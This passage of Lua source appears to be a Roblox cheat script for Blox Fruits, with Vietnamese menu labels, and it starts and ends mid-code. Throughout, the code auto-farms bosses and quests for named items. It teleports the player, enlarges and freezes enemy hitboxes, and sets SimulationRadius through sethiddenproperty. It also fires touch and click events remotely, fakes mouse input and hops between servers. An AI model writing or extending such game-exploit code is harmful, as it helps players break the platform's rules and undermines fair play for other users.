elseif game:GetService("ReplicatedStorage"):FindFirstChild("Urban [Lv. 1750]") then

topos(game:GetService("ReplicatedStorage"):FindFirstChild("Urban [Lv. 1750]").HumanoidRootPart.CFrame \* MethodFarm)

end

end

end

else

wait(0.5)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("EliteHunter")

end

end

end)

end

end

end)

Weapon:Seperator(" Yama ")

Weapon:Toggle("Tự Động Lấy Yama",\_G.Auto\_Yama,function(value)

\_G.Auto\_Yama = value

\_G.click = value

StopTween(\_G.Auto\_Yama)

end)

spawn(function()

while wait() do

if \_G.Auto\_Yama then

pcall(function()

if game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("EliteHunter","Progress") >= 30 then

fireclickdetector(game:GetService("Workspace").Map.Waterfall.SealedKatana.Handle.ClickDetector)

end

end)

end

end

end)

Weapon:Seperator(" Rainbow Haki ")

Weapon:Toggle("Auto Rainbow Haki",\_G.Auto\_Rainbow\_Haki,function(value)

\_G.Auto\_Rainbow\_Haki = value

\_G.click = value

StopTween(\_G.Auto\_Rainbow\_Haki)

end)

Weapon:Toggle("Auto Rainbow Haki Hop",\_G.Auto\_Rainbow\_Haki\_Hop,function(value)

\_G.Auto\_Rainbow\_Haki\_Hop = value

StopTween(\_G.Auto\_Rainbow\_Haki\_Hop)

end)

spawn(function()

pcall(function()

while wait() do

if \_G.Auto\_Rainbow\_Haki then

if game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("HornedMan","Bet")

elseif game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true and string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "Stone") then

if \_G.Auto\_Rainbow\_Haki and game.ReplicatedStorage:FindFirstChild("Stone [Lv. 1550] [Boss]") or game.Workspace.Enemies:FindFirstChild("Stone [Lv. 1550] [Boss]") then

if game:GetService("Workspace").Enemies:FindFirstChild("Stone [Lv. 1550] [Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Stone [Lv. 1550] [Boss]" then

OldCFrameRainbow = v.HumanoidRootPart.CFrame

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.CFrame = OldCFrameRainbow

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)

until \_G.Auto\_Rainbow\_Haki == false or v.Humanoid.Health <= 0 or not v.Parent or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false

end

end

else

topos(CFrame.new(-1086.11621, 38.8425903, 6768.71436, 0.0231462717, -0.592676699, 0.805107772, 2.03251839e-05, 0.805323839, 0.592835128, -0.999732077, -0.0137055516, 0.0186523199))

end

else

if \_G.Auto\_Rainbow\_Haki\_Hop then

hop()

end

end

elseif game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true and string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "Island Empress") then

if \_G.Auto\_Rainbow\_Haki and game.ReplicatedStorage:FindFirstChild("Island Empress [Lv. 1675] [Boss]") or game.Workspace.Enemies:FindFirstChild("Island Empress [Lv. 1675] [Boss]") then

if game:GetService("Workspace").Enemies:FindFirstChild("Island Empress [Lv. 1675] [Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Island Empress [Lv. 1675] [Boss]" then

OldCFrameRainbow = v.HumanoidRootPart.CFrame

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.CFrame = OldCFrameRainbow

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)

until \_G.Auto\_Rainbow\_Haki == false or v.Humanoid.Health <= 0 or not v.Parent or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false

end

end

else

topos(CFrame.new(5713.98877, 601.922974, 202.751251, -0.101080291, -0, -0.994878292, -0, 1, -0, 0.994878292, 0, -0.101080291))

end

else

if \_G.Auto\_Rainbow\_Haki\_Hop then

hop()

end

end

elseif string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "Kilo Admiral") then

if \_G.Auto\_Rainbow\_Haki and game.ReplicatedStorage:FindFirstChild("Kilo Admiral [Lv. 1750] [Boss]") or game.Workspace.Enemies:FindFirstChild("Kilo Admiral [Lv. 1750] [Boss]") then

if game:GetService("Workspace").Enemies:FindFirstChild("Kilo Admiral [Lv. 1750] [Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Kilo Admiral [Lv. 1750] [Boss]" then

OldCFrameRainbow = v.HumanoidRootPart.CFrame

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

v.HumanoidRootPart.CFrame = OldCFrameRainbow

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)

until \_G.Auto\_Rainbow\_Haki == false or v.Humanoid.Health <= 0 or not v.Parent or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false

end

end

else

topos(CFrame.new(2877.61743, 423.558685, -7207.31006, -0.989591599, -0, -0.143904909, -0, 1.00000012, -0, 0.143904924, 0, -0.989591479))

end

else

if \_G.Auto\_Rainbow\_Haki\_Hop then

hop()

end

end

elseif string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "Captain Elephant") then

if \_G.Auto\_Rainbow\_Haki and game.ReplicatedStorage:FindFirstChild("Captain Elephant [Lv. 1875] [Boss]") or game.Workspace.Enemies:FindFirstChild("Captain Elephant [Lv. 1875] [Boss]") then

if game:GetService("Workspace").Enemies:FindFirstChild("Captain Elephant [Lv. 1875] [Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Captain Elephant [Lv. 1875] [Boss]" then

OldCFrameRainbow = v.HumanoidRootPart.CFrame

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

v.HumanoidRootPart.CFrame = OldCFrameRainbow

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)

until \_G.Auto\_Rainbow\_Haki == false or v.Humanoid.Health <= 0 or not v.Parent or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false

end

end

else

topos(CFrame.new(-13485.0283, 331.709259, -8012.4873, 0.714521289, 7.98849911e-08, 0.69961375, -1.02065748e-07, 1, -9.94383065e-09, -0.69961375, -6.43015241e-08, 0.714521289))

end

else

if \_G.Auto\_Rainbow\_Haki\_Hop then

hop()

end

end

elseif string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "Beautiful Pirate") then

if \_G.Auto\_Rainbow\_Haki and game.ReplicatedStorage:FindFirstChild("Beautiful Pirate [Lv. 1950] [Boss]") or game.Workspace.Enemies:FindFirstChild("Beautiful Pirate [Lv. 1950] [Boss]") then

if game:GetService("Workspace").Enemies:FindFirstChild("Beautiful Pirate [Lv. 1950] [Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Beautiful Pirate [Lv. 1950] [Boss]" then

OldCFrameRainbow = v.HumanoidRootPart.CFrame

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

v.HumanoidRootPart.CFrame = OldCFrameRainbow

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)

until \_G.Auto\_Rainbow\_Haki == false or v.Humanoid.Health <= 0 or not v.Parent or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false

end

end

else

topos(CFrame.new(5312.3598632813, 20.141201019287, -10.158538818359))

end

else

if \_G.Auto\_Rainbow\_Haki\_Hop then

hop()

end

end

else

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("HornedMan","Bet")

end

end

end

end)

end)

Weapon:Seperator(" Canvander ")

Weapon:Toggle("Tự Động Lấy Kiếm Canvander",\_G.Auto\_Canvander,function(value)

\_G.Auto\_Canvander = value

StopTween(\_G.Auto\_Canvander)

end)

Weapon:Toggle("Đổi Sever Lấy Kiếm Canvander",\_G.Auto\_Canvander\_Hop,function(value)

\_G.Auto\_Canvander\_Hop = value

StopTween(\_G.Auto\_Canvander\_Hop)

end)

spawn(function()

while wait() do

if \_G.Auto\_Canvander then

pcall(function()

if \_G.Auto\_Canvander and game.ReplicatedStorage:FindFirstChild("Beautiful Pirate [Lv. 1950] [Boss]") or game.Workspace.Enemies:FindFirstChild("Beautiful Pirate [Lv. 1950] [Boss]") then

if game.Workspace.Enemies:FindFirstChild("Beautiful Pirate [Lv. 1950] [Boss]") then

for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

if v.Name == "Beautiful Pirate [Lv. 1950] [Boss]" and v:FindFirstChild("HumanoidRootPart") and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.Auto\_Canvander or v.Humanoid.Health <= 0 or not v.Parent

end

end

else

topos(CFrame.new(5240.40869140625, 22.536449432373047, 17.463970184326172))

end

else

if \_G.Auto\_Canvander\_Hop then

hop()

end

end

end)

end

end

end)

Weapon:Seperator(" Twin Hook ")

Weapon:Toggle("Lấy Kiếm Twin Hook",\_G.Auto\_Twin\_Hook,function(value)

\_G.Auto\_Twin\_Hook = value

\_G.click = value

StopTween(\_G.Auto\_Twin\_Hook)

end)

Weapon:Toggle("Đổi Sever Lấy Kiếm Twin Hook",\_G.Auto\_Twin\_Hook\_Hop,function(value)

\_G.Auto\_Twin\_Hook\_Hop = value

StopTween(\_G.Auto\_Twin\_Hook\_Hop)

end)

spawn(function()

while wait() do

if \_G.Auto\_Twin\_Hook then

pcall(function()

if \_G.Auto\_Twin\_Hook and game.ReplicatedStorage:FindFirstChild("Captain Elephant [Lv. 1875] [Boss]") or game.Workspace.Enemies:FindFirstChild("Captain Elephant [Lv. 1875] [Boss]") then

if game.Workspace.Enemies:FindFirstChild("Captain Elephant [Lv. 1875] [Boss]") then

for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

if v.Name == "Captain Elephant [Lv. 1875] [Boss]" and v:FindFirstChild("HumanoidRootPart") and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.Auto\_Twin\_Hook or v.Humanoid.Health <= 0 or not v.Parent

end

end

else

topos(CFrame.new(-13348.0654296875, 405.8904113769531, -8570.62890625))

end

else

if \_G.Auto\_Twin\_Hook\_Hop then

hop()

end

end

end)

end

end

end)

Weapon:Seperator(" Serpent Bow ")

Weapon:Toggle("Lấy Cung Serpent Bow",\_G.Auto\_Serpent\_Bow,function(value)

\_G.Auto\_Serpent\_Bow = value

StopTween(\_G.Auto\_Serpent\_Bow)

end)

Weapon:Toggle("Đổi Sever Lấy Cung Serpent Bow",\_G.Auto\_Serpent\_Bow\_Hop,function(value)

\_G.Auto\_Serpent\_Bow\_Hop = value

StopTween(\_G.Auto\_Serpent\_Bow\_Hop)

end)

spawn(function()

while wait() do

if \_G.Auto\_Serpent\_Bow then

pcall(function()

if \_G.Auto\_Serpent\_Bow and game.ReplicatedStorage:FindFirstChild("Island Empress [Lv. 1675] [Boss]") or game.Workspace.Enemies:FindFirstChild("Island Empress [Lv. 1675] [Boss]") then

if game.Workspace.Enemies:FindFirstChild("Island Empress [Lv. 1675] [Boss]") then

for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

if v.Name == "Island Empress [Lv. 1675] [Boss]" and v:FindFirstChild("HumanoidRootPart") and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.Auto\_Serpent\_Bow or v.Humanoid.Health <= 0 or not v.Parent

end

end

else

topos(CFrame.new(5764.1826171875, 700.425537109375, 141.11996459960938))

end

else

if \_G.Auto\_Serpent\_Bow\_Hop then

hop()

end

end

end)

end

end

end)

Weapon:Seperator(" Tushita ")

Weapon:Toggle("Tự Động Kill Boss Tushita",\_G.Autotushita,function(value)

\_G.Autotushita = value

end)

spawn(function()

while wait() do

if \_G.Autotushita then

if game:GetService("Workspace").Enemies:FindFirstChild("Longma [Lv. 2000] [Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == ("Longma [Lv. 2000] [Boss]" or v.Name == "Longma [Lv. 2000] [Boss]") and v.Humanoid.Health > 0 and v:IsA("Model") and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") then

repeat wait()

StartMagnet = true

AutoHaki()

if not game.Players.LocalPlayer.Character:FindFirstChild(\_G.Select\_Weapon) then

wait()

EquipWeapon(\_G.Select\_Weapon)

end

PosMon = v.HumanoidRootPart.CFrame

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

v.HumanoidRootPart.Size = Vector3.new(60,60,60)

v.Humanoid.JumpPower = 0

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.CanCollide = false

v.Humanoid:ChangeState(11)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

until not \_G.Autotushita or not v.Parent or v.Humanoid.Health <= 0

StartMagnet = false

end

end

else

topos(CFrame.new(-10238.875976563, 389.7912902832, -9549.7939453125))

end

end

end

end)

Weapon:Toggle("Tự Động Gắn Đuốc",\_G.Auto\_Holy\_Torch,function(value)

\_G.Auto\_Holy\_Torch = value

StopTween(\_G.Auto\_Holy\_Torch)

end)

end

if World3 then

Weapon:Seperator(" Haki quan sát V2 ")

Weapon:Toggle("Tự Động Lấy Haki quan sát V2",\_G.AutoObservationHakiV2,function(x)

\_G.AutoObservationHakiV2 = x

end)

spawn(function()

while wait() do

if \_G.AutoObservationHakiV2 then

if game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false then

repeat

topos(CFrame.new(-12444.78515625, 332.40396118164, -7673.1806640625))

wait()

until \_G.StopTween == true or not \_G.AutoObservationHakiV2 or (game.Players.LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-12444.78515625, 332.40396118164, -7673.1806640625)).Magnitude <= 10

wait(.5)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CitizenQuestProgress","Citizen")

wait(1)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StartQuest","CitizenQuest",1)

else

if string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text,"Defeat 50 Forest Pirates") then

if game:GetService("Workspace").Enemies:FindFirstChild("Forest Pirate [Lv. 1825]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Forest Pirate [Lv. 1825]" then

repeat wait()

if not game.Players.LocalPlayer.Character:FindFirstChild("HasBuso") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("Buso")

end

EquipWeapon(\_G.Select\_Weapon)

topos(v.HumanoidRootPart.CFrame \* CFrame.new(1,20,1))

PosHee = v.HumanoidRootPart.CFrame

if sethiddenproperty then

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

v.HumanoidRootPart.CFrame = v.HumanoidRootPart.CFrame

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

StatrMagnet = true

until \_G.AutoObservationHakiV2 == false or v.Humanoid.Health <= 0

StatrMagnet = false

end

end

else

repeat

topos(CFrame.new(-13277.568359375, 370.34185791016, -7821.1572265625))

wait()

until \_G.StopTween == true or not \_G.AutoObservationHakiV2 or (game.Players.LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-13277.568359375, 370.34185791016, -7821.1572265625)).Magnitude <= 10

end

elseif game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text == "Defeat Captain Elephant (0/1)" then

if game:GetService("Workspace").Enemies:FindFirstChild("Captain Elephant [Lv. 1875] [Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Captain Elephant [Lv. 1875] [Boss]" then

repeat wait()

if not game.Players.LocalPlayer.Character:FindFirstChild("HasBuso") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("Buso")

end

EquipWeapon(\_G.Select\_Weapon)

topos(v.HumanoidRootPart.CFrame \* CFrame.new(1,20,1))

if sethiddenproperty then

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

v.HumanoidRootPart.CFrame = v.HumanoidRootPart.CFrame

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.AutoObservationHakiV2 == false or v.Humanoid.Health <= 0

end

end

else

repeat

topos(CFrame.new(-13493.12890625, 318.89553833008, -8373.7919921875))

wait()

until \_G.StopTween == true or not \_G.AutoObservationHakiV2 or (game.Players.LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-13493.12890625, 318.89553833008, -8373.7919921875)).Magnitude <= 10

end

end

end

if game.Players.LocalPlayer.Backpack:FindFirstChild("Banana") and game.Players.LocalPlayer.Backpack:FindFirstChild("Apple") and game.Players.LocalPlayer.Backpack:FindFirstChild("Pineapple") then

repeat

topos(CFrame.new(-12444.78515625, 332.40396118164, -7673.1806640625))

wait()

until \_G.StopTween == true or not \_G.AutoObservationHakiV2 or (game.Players.LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-12444.78515625, 332.40396118164, -7673.1806640625)).Magnitude <= 10

wait(.5)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CitizenQuestProgress","Citizen")

elseif game.Players.LocalPlayer.Backpack:FindFirstChild("Fruit Bowl") or game.Players.LocalPlayer.Character:FindFirstChild("Fruit Bowl") then

repeat

topos(CFrame.new(-10920.125, 624.20275878906, -10266.995117188))

wait()

until \_G.StopTween == true or not \_G.AutoObservationHakiV2 or (game.Players.LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-10920.125, 624.20275878906, -10266.995117188)).Magnitude <= 10

wait(.5)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("KenTalk2","Start")

wait(1)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("KenTalk2","Buy")

else

for i,v in pairs(game.Workspace:GetDescendants()) do

if v.Name == "Apple" or v.Name == "Banana" or v.Name == "Pineapple" then

v.Handle.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame \* CFrame.new(0,1,10)

wait()

firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Handle,0)

wait()

end

end

end

end

end

end)

spawn(function()

while wait() do

pcall(function()

if \_G.AutoObservationHakiV2 then

if sethiddenproperty then

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

game:GetService("RunService").Heartbeat:Wait()

end

end)

spawn(function()

game:GetService("RunService").Heartbeat:connect(function()

pcall(function()

if \_G.AutoObservationHakiV2 then

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Humanoid") then

game:GetService("Players").LocalPlayer.Character.Humanoid:ChangeState(11)

end

end

end)

end)

end)

spawn(function()

pcall(function()

game:GetService("RunService").Heartbeat:Connect(function()

game:GetService("RunService").Heartbeat:Wait()

if \_G.AutoObservationHakiV2 and StatrMagnet then

for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

if v.Name == "Forest Pirate [Lv. 1825]" and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 then

if v.Name == "Forest Pirate [Lv. 1825]" then

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50, 50, 50)

v.HumanoidRootPart.CFrame = PosHee

end

end

end

end

end)

end)

end)

spawn(function()

game:GetService("RunService").Heartbeat:connect(function()

game:GetService("RunService").Heartbeat:Wait()

pcall(function()

if \_G.AutoObservationHakiV2 and StatrMagnet then

CheckQuest()

for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

if v.Name == Ms then

v.Humanoid:ChangeState(11)

end

end

end

end)

game:GetService("RunService").Heartbeat:Wait()

end)

end)

spawn(function()

while wait() do

pcall(function()

if \_G.AutoObservationHakiV2 and StatrMagnet then

for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

if v.Name == Ms and v:FindFirstChild("HumanoidRootPart") then

if not v.HumanoidRootPart:FindFirstChild("BringEE") then

local bv = Instance.new("BodyVelocity")

bv.Parent = v.HumanoidRootPart

bv.Name = "BringEE"

bv.MaxForce = Vector3.new(100000,100000,100000)

bv.Velocity = Vector3.new(0,0,0)

end

end

end

end

end)

wait()

end

end)

end

if World3 then

Weapon:Seperator(" Mũ Phi Công ")

Weapon:Toggle("Lấy Mũ Phi Công",\_G.Auto\_Musketeer\_Hat,function(value)

\_G.Auto\_Musketeer\_Hat = value

StopTween(\_G.Auto\_Musketeer\_Hat)

end)

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.Auto\_Musketeer\_Hat and StartMagnetMusketeerhat and v.Name == "Forest Pirate [Lv. 1825]" and (v.HumanoidRootPart.Position - MusketeerHatMon.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = MusketeerHatMon

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

pcall(function()

while wait() do

if \_G.Auto\_Musketeer\_Hat then

if game:GetService("Players").LocalPlayer.Data.Level.Value >= 1800 and game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CitizenQuestProgress").KilledBandits == false then

if string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "Forest Pirate") and string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "50") and game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true then

if game:GetService("Workspace").Enemies:FindFirstChild("Forest Pirate [Lv. 1825]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Forest Pirate [Lv. 1825]" then

repeat wait()

pcall(function()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

v.HumanoidRootPart.CanCollide = false

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

MusketeerHatMon = v.HumanoidRootPart.CFrame

StartMagnetMusketeerhat = true

end)

until \_G.Auto\_Musketeer\_Hat == false or not v.Parent or v.Humanoid.Health <= 0 or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false

StartMagnetMusketeerhat = false

end

end

else

StartMagnetMusketeerhat = false

topos(CFrame.new(-13206.452148438, 425.89199829102, -7964.5537109375))

end

else

topos(CFrame.new(-12443.8671875, 332.40396118164, -7675.4892578125))

if (Vector3.new(-12443.8671875, 332.40396118164, -7675.4892578125) - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 30 then

wait(1.5)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StartQuest","CitizenQuest",1)

end

end

elseif game:GetService("Players").LocalPlayer.Data.Level.Value >= 1800 and game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CitizenQuestProgress").KilledBoss == false then

if game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible and string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "Captain Elephant") and game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true then

if game:GetService("Workspace").Enemies:FindFirstChild("Captain Elephant [Lv. 1875] [Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Captain Elephant [Lv. 1875] [Boss]" then

OldCFrameElephant = v.HumanoidRootPart.CFrame

repeat wait()

pcall(function()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.CFrame = OldCFrameElephant

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)

end)

until \_G.Auto\_Musketeer\_Hat == false or v.Humanoid.Health <= 0 or not v.Parent or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false

end

end

else

topos(CFrame.new(-13374.889648438, 421.27752685547, -8225.208984375))

end

else

topos(CFrame.new(-12443.8671875, 332.40396118164, -7675.4892578125))

if (CFrame.new(-12443.8671875, 332.40396118164, -7675.4892578125).Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 4 then

wait(1.5)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CitizenQuestProgress","Citizen")

end

end

elseif game:GetService("Players").LocalPlayer.Data.Level.Value >= 1800 and game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CitizenQuestProgress","Citizen") == 2 then

topos(CFrame.new(-12512.138671875, 340.39279174805, -9872.8203125))

end

end

end

end)

end)

spawn(function()

while wait() do

if \_G.Auto\_Holy\_Torch then

pcall(function()

wait(1)

repeat topos(CFrame.new(-10752, 417, -9366)) wait() until not \_G.Auto\_Holy\_Torch or (game.Players.LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-10752, 417, -9366)).Magnitude <= 10

wait(1)

repeat topos(CFrame.new(-11672, 334, -9474)) wait() until not \_G.Auto\_Holy\_Torch or (game.Players.LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-11672, 334, -9474)).Magnitude <= 10

wait(1)

repeat topos(CFrame.new(-12132, 521, -10655)) wait() until not \_G.Auto\_Holy\_Torch or (game.Players.LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-12132, 521, -10655)).Magnitude <= 10

wait(1)

repeat topos(CFrame.new(-13336, 486, -6985)) wait() until not \_G.Auto\_Holy\_Torch or (game.Players.LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-13336, 486, -6985)).Magnitude <= 10

wait(1)

repeat topos(CFrame.new(-13489, 332, -7925)) wait() until not \_G.Auto\_Holy\_Torch or (game.Players.LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-13489, 332, -7925)).Magnitude <= 10

end)

end

end

end)

end

if World2 then

Weapon:Seperator(" Superhuman ")

Weapon:Toggle("Lấy Superhuman",\_G.Auto\_Superhuman,function(value)

\_G.Auto\_Superhuman = value

end)

Weapon:Toggle("Tự Động Làm Nv Superhuman",\_G.Auto\_Fully\_Superhuman,function(value)

\_G.Auto\_Fully\_Superhuman = value

end)

spawn(function()

while wait(.25) do

if \_G.Auto\_Superhuman or \_G.Auto\_Fully\_Superhuman and game.Players.LocalPlayer:FindFirstChild("WeaponAssetCache") then

pcall(function()

if game:GetService("Players").LocalPlayer.Data.Beli.Value >= 500000 and (game.Players.LocalPlayer.Character:FindFirstChild("Combat") or game.Players.LocalPlayer.Backpack:FindFirstChild("Combat")) then

\_G.Select\_Weapon = "Combat"

